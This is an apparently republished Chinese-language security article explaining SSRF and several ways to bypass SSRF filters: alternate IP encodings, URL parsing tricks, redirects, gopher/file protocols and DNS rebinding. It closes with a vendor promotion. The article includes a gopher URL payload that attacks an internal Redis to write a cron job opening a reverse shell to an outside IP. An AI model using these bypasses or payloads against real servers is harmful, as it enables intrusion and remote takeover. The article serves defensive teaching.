一、SSRF簡介
SSRF
（Server-Side Request Forgery，伺服器端請求偽造）：通俗的來說就是我們可以偽造伺服器端發起的請求，從而獲取客戶端所不能得到的數據。SSRF漏洞形成的原因主要是伺服器端所提供的介面中包含了所要請求的內容的URL參數，並且未對客戶端所傳輸過來的URL參數進行過濾。這個漏洞造成的危害有：
(1)、可以對外網、伺服器所在內網、本地進行埠掃描，獲取一些服務的banner信息;
(2)、攻擊運行在內網或本地的應用程序（比如溢出）;
(3)、對內網Web應用進行指紋識別，通過訪問默認文件實現;
(4)、攻擊內外網的Web應用，主要是使用Get參數就可以實現的攻擊（比如Struts2漏洞利用，SQL注入等）;
(5)、利用File協議讀取本地文件。
一般的防禦措施是對URL參數進行過濾，或者使得URL參數用戶不可控。
二、繞過SSRF過濾的幾種方法
下文出現的192.168.0.1，10.0.0.1全部為伺服器端的內網地址。
1、更改IP
地址寫法
一些開發者會通過對傳過來的URL參數進行正則匹配的方式來過濾掉內網IP，如採用如下正則表達式：
^10(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){3}$
^172.([1][6-9]|[2]d|3[01])(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){2}$
^192.168(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){2}$
對於這種過濾我們可以採用改編IP的寫法的方式進行繞過，例如192.168.0.1這個IP地址我們可以改寫成：
(1)、8進位格式：0300.0250.0.1
(2)、16進位格式：0xC0.0xA8.0.1
(3)、10進位整數格式：3232235521
(4)、16進位整數格式：0xC0A80001
還有一種特殊的省略模式，例如10.0.0.1這個IP可以寫成10.1
2
、利用解析
URL
所出現的問題
在某些情況下，後端程序可能會對訪問的URL進行解析，對解析出來的host地址進行過濾。這時候可能會出現對URL參數解析不當，導致可以繞過過濾。
http://www.baidu.com@192.168.0.1/
當後端程序通過不正確的正則表達式（比如將http之後到com為止的字元內容，也就是
www.baidu.com
，認為是訪問請求的host地址時）對上述URL的內容進行解析的時候，很有可能會認為訪問URL的host為
www.baidu.com
，而實際上這個URL所請求的內容都是192.168.0.1上的內容。
3
、利用
302
跳轉
如果後端伺服器在接收到參數後，正確的解析了URL的host，並且進行了過濾，我們這個時候可以使用302跳轉的方式來進行繞過。
(1)、在網路上存在一個很神奇的服務，
http://xip.io
當我們訪問這個網站的子域名的時候，例如192.168.0.1.xip.io，就會自動重定向到192.168.0.1。
(2)、由於上述方法中包含了192.168.0.1這種內網IP地址，可能會被正則表達式過濾掉，我們可以通過短地址的方式來繞過。經過測試發現新浪，百度的短地址服務並不支持IP模式，所以這裡使用的是
http://tinyurl.com
所提供的短地址服務，如下圖所示：
同樣的，我們也可以自行寫一個跳轉的服務介面來實現類似的功能。
4
、通過各種非
HTTP
協議：
如果伺服器端程序對訪問URL所採用的協議進行驗證的話，可以通過非HTTP協議來進行利用。
(1)、GOPHER協議：通過GOPHER我們在一個URL參數中構造Post或者Get請求，從而達到攻擊內網應用的目的。例如我們可以使用GOPHER協議對與內網的Redis服務進行攻擊，可以使用如下的URL：
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
(2)、File協議：File協議主要用於訪問本地計算機中的文件，我們可以通過類似file:///文件路徑這種格式來訪問計算機本地文件。使用file協議可以避免服務端程序對於所訪問的IP進行的過濾。例如我們可以通過file:///d:/1.txt 來訪問D盤中1.txt的內容
5
、
DNS Rebinding
對於常見的IP限制，後端伺服器可能通過下圖的流程進行IP過濾：
對於用戶請求的URL參數，首先伺服器端會對其進行DNS解析，然後對於DNS伺服器返回的IP地址進行判斷，如果在黑名單中，就pass掉。
但是在整個過程中，第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查，利用這個時間差，我們可以進行DNS 重綁定攻擊。
要完成DNS重綁定攻擊，我們需要一個域名，並且將這個域名的解析指定到我們自己的DNS Server，在我們的可控的DNS Server上編寫解析服務，設置TTL時間為0。這樣就可以進行攻擊了，完整的攻擊流程為：
(1)、伺服器端獲得URL參數，進行第一次DNS解析，獲得了一個非內網的IP
(2)、對於獲得的IP進行判斷，發現為非黑名單IP，則通過驗證
(3)、伺服器端對於URL進行訪問，由於DNS伺服器設置的TTL為0，所以再次進行DNS解析，這一次DNS伺服器返回的是內網地址。
(4)、由於已經繞過驗證，所以伺服器端返回訪問內網資源的結果。
三、總結
總的來說，造成能夠繞過伺服器端檢查的原因是在伺服器對資源進行請求的時候對URL的驗證出現了紕漏，除了上述已知的方法外可能還有不同的方法，但是萬變不離其宗。同時，在程序員進行開發的同時，盡量使用白名單的方式來進行過濾，能夠較大程度上的保證安全性。（來源Freebuf）
關於雲端衛士
「雲端衛士」是中盈優創資訊科技有限公司旗下的系列安全產品的主品牌，為客戶提供全系列、一體化、可運營的安全產品，包括網路攻擊追蹤溯源系統、網路攻擊檢測分析系統、網路流量態勢感知系統、安全威脅態勢感知系統、安全運營支撐系統、分布式抗拒絕服務攻擊系統等。更多信息請撥打400-818-5108諮詢，或訪問
www.cloudguarder.com
喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！
本站內容充實豐富，博大精深，小編精選每日熱門資訊，隨時更新，點擊「搶先收到最新資訊」瀏覽吧！
請您繼續閱讀更多來自 雲端衛士 的精彩文章: